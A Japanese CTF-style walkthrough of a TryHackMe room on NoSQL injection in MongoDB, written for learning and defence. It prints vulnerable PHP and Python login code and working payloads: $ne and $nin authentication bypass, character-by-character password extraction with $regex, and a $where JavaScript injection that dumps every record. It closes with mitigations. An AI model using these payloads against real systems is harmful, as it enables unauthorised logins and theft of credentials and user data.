はじめに
〜MongoDB を例に、オペレーターインジェクションと構文インジェクションを理解する〜
SQL Injection はよく聞くけれど、NoSQL Injection と言われると「なんか新種っぽくて怖い」感じがしますよね。
しかし本質はシンプルで、**「信頼できない入力がクエリそのものを壊してしまう」**という点で、SQL も NoSQL も同じです。
1. NoSQL Injection の基本アイデア
まず前提として:
インジェクションは全部「コマンド+文字列連結の事故」が原因
SQL Injection の典型例は、こんな感じでした:
SELECT * FROM users WHERE username = '$user' AND password = '$pass';
ここで $user に
admin' OR '1'='1
を入れると、クエリ自体が書き換えられてしまいます。
NoSQL(MongoDB)の場合も考え方は同じで、
- ユーザー入力をそのままクエリに埋め込む
- 適切にエスケープ・バリデーションしていない
といった状態だと、クエリを操作される可能性があります。
NoSQL Injection には大きく2種類あります:
-
Syntax Injection(構文インジェクション)
- SQLi と同じく、クエリの構文自体を壊して・追加してしまうタイプ
- MongoDB では
$whereで JS を投げているケースが危険
-
Operator Injection(オペレーターインジェクション)
- 「
$neや$regexなどのMongoDBオペレーターを注入」してクエリの意味を変える - 構文を壊せなくても、条件をねじ曲げて認証バイパス・情報取得が可能
- 「
この部屋(TryHackMe)のメインは Operator Injection です。
2. MongoDB のクエリ構造と「配列インジェクション」
正常な PHP コード例
まず、シンプルなログイン処理の PHP コード:
<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");
if (isset($_POST) && isset($_POST['user']) && isset($_POST['pass'])) {
$user = $_POST['user'];
$pass = $_POST['pass'];
$q = new MongoDB\Driver\Query(['username' => $user, 'password' => $pass]);
$record = $con->executeQuery('myapp.login', $q);
$record = iterator_to_array($record);
if (sizeof($record) > 0) {
$usr = $record[0];
session_start();
$_SESSION['loggedin'] = true;
$_SESSION['uid'] = $usr->username;
header('Location: /sekr3tPl4ce.php');
die();
}
}
header('Location: /?err=1');
?>
ここで実行している MongoDB のフィルタは:
['username' => $user, 'password' => $pass]
ぱっと見は安全そうですが、問題は $user と $pass に “配列” を渡せてしまうことです。
PHP における「配列パラメータ」の落とし穴
PHP では、HTTP パラメータに user[$ne]=xxxx のような形式を送ると、
サーバー側では:
$_POST['user'] = ['$ne' => 'xxxx'];
という 配列として解釈されます。
それをそのまま MongoDB のフィルタに渡すと:
['username' => ['$ne' => 'xxxx'], 'password' => ['$ne' => 'yyyy']]
という構造になり、これは MongoDB 的には:
「
usernameがxxxxではなく、
かつpasswordがyyyyではないユーザーすべて」
を意味します。
結果:全ユーザーがマッチ → 最初の1件でログイン成功
これが Operator Injection による認証バイパス です。
3. Operator Injection:ログインバイパス実践
攻撃リクエスト例
元のリクエスト(平文のログイン):
POST /login.php HTTP/1.1
Host: 10.49.179.23
Content-Type: application/x-www-form-urlencoded
user=foo&pass=bar
これを、以下のように書き換えます:
user[$ne]=xxxx&pass[$ne]=yyyy
これにより、PHP 側では:
$user = ['$ne' => 'xxxx'];
$pass = ['$ne' => 'yyyy'];
となり、MongoDB のフィルタは:
['username' => ['$ne' => 'xxxx'], 'password' => ['$ne' => 'yyyy']]
→ ほぼ全ユーザーがヒットしてしまい、任意のユーザーとしてログインされる可能性があります。
Burp などのプロキシでパラメータを書き換えることで、TryHackMe のログインを突破する、という流れですね。
4. Operator Injection:特定ユーザーを避けたり、狙ったり
さきほどの $ne だと「特定の値以外全部」がマッチします。
今度は $nin を使って 「除外リスト」を指定していきます。
$nin を使ったログイン制御
例:
user[$nin][]=admin&pass[$ne]=aaaa
サーバー側でのフィルタ:
['username' => ['$nin' => ['admin']], 'password' => ['$ne' => 'aaaa']]
→ admin 以外のユーザーでログイン
さらに複数ユーザーを除外したければ:
user[$nin][]=admin&user[$nin][]=jude&pass[$ne]=aaaa
フィルタ:
['username' => ['$nin' => ['admin', 'jude']], 'password' => ['$ne' => 'aaaa']]
→ admin や jude 以外のユーザーでログイン可能
こうして 「まだログインしていないユーザー」を順番に狙うこともできます。
5. Operator Injection:$regex でパスワードを抜き出す
認証バイパスができたら、次の一手は パスワードそのものの取得 です。
パスワードが他サービスで使い回されている可能性が高いからですね。
ここで使うのが $regex(正規表現)オペレーター。
🔹 ステップ1:パスワード長の推測
以下のようなクエリをサーバーに投げるとします:
user=admin&pass[$regex]=^.{7}$
→ 「admin かつ password が長さ7文字のもの」を探す
レスポンスが「ログイン失敗」であれば、その長さではないとわかります。
長さを変えながら試していき、成功する長さを発見します。
結果例:^.{5}$ でログイン成功
→ admin のパスワードは 5文字。
ステップ2:1文字ずつ総当たり
次は、最初の1文字を推測します。
user=admin&pass[$regex]=^c....$
- 長さ5文字
- 先頭は
c - 残り4文字は何でもOK
もしこれで失敗したら、「先頭文字は c ではない」とわかります。
a〜z, 0〜9 などを総当たりし、成功した文字=正解。
例:^a....$ で成功 → 1文字目 = a
次は2文字目:
user=admin&pass[$regex]=^a[a-z0-9]...$
という形で、位置を増やしながら順番に推測していきます。
まさに「ハングマン」のような感覚で、パスワードを1文字ずつ復元していくテクニックです。
6. Syntax Injection:$where による JS インジェクション
Operator Injection だけでなく、MongoDB には Syntax Injection(構文インジェクション) も存在します。
脆弱な Python コード例
SSH でサーバーに接続すると、以下のようなスクリプトが動いているとします:
for x in mycol.find({"$where": "this.username == '" + username + "'"}):
...
-
usernameが文字列連結で$whereに埋め込まれている -
$whereは JavaScript コードを文字列として評価する機能
ここで username に ' を入れると、エラーが発生し構文が壊れていることがわかります。
true / false の条件で挙動を確かめる
例:
admin' && 0 && 'x
→ 条件が false になり、結果が返ってこない
admin' && 1 && 'x
→ 条件が true になり、メールアドレスが返る
という差から、自分の入力が JavaScript 条件式として評価されていることがわかります。
' || 1 || ' で全件取得
最終的な決め技はこれ:
admin'||1||'
結果:
this.username == 'admin' || 1 || '...'-
|| 1 ||部分が常に真になる - つまり 全ドキュメントがマッチ
→ 全ユーザーのメールアドレスがダンプされる。
なぜ Syntax Injection が発生したのか?
原因はここです:
{"$where": "this.username == '" + username + "'"}
本来であれば:
mycol.find({"username": username})
といった 安全なフィルタで済むのに、
わざわざ $where で JS 条件式を組み立ててしまっているのが問題。
$where+ 文字列連結 = インジェクション地獄の入口
7. 防御方法:どうやって NoSQL Injection を防ぐか?
最後に、防御側の観点も整理しておきます。
1. ユーザー入力をそのままクエリに渡さない
- 配列やオブジェクトをそのまま許可しない
- 型チェック(string だけ許可など)
- 不要なパラメータは破棄
2. $where や任意 JS 実行を避ける
- MongoDB の
$where/ JavaScript ベースのクエリは原則禁止 - 標準のフィルタ(
{"username": username})で表現できるものは必ずそちらを使う
3. ORMs/ライブラリを正しく使う
- 文字列連結でクエリを手組みしない
- ライブラリが想定する安全な API だけを使う
4. エラーメッセージを出しすぎない
- スタックトレースや詳細なエラーメッセージは本番では隠す
- ただし、開発環境ではログにしっかり残す
まとめ
- NoSQL Injection も本質は SQL Injection と同じ「入力連結ミス」
-
Operator Injection
-
$ne,$nin,$regexなどのオペレーターが悪用される - 認証バイパス・パスワード推測などが可能
-
-
Syntax Injection
-
$whereや JS を文字列連結しているとヤバい -
'||1||'のようなペイロードで全件取得もできる
-
- 防御の基本は:
- 入力バリデーション
-
$whereを避ける - 文字列連結でクエリを組まない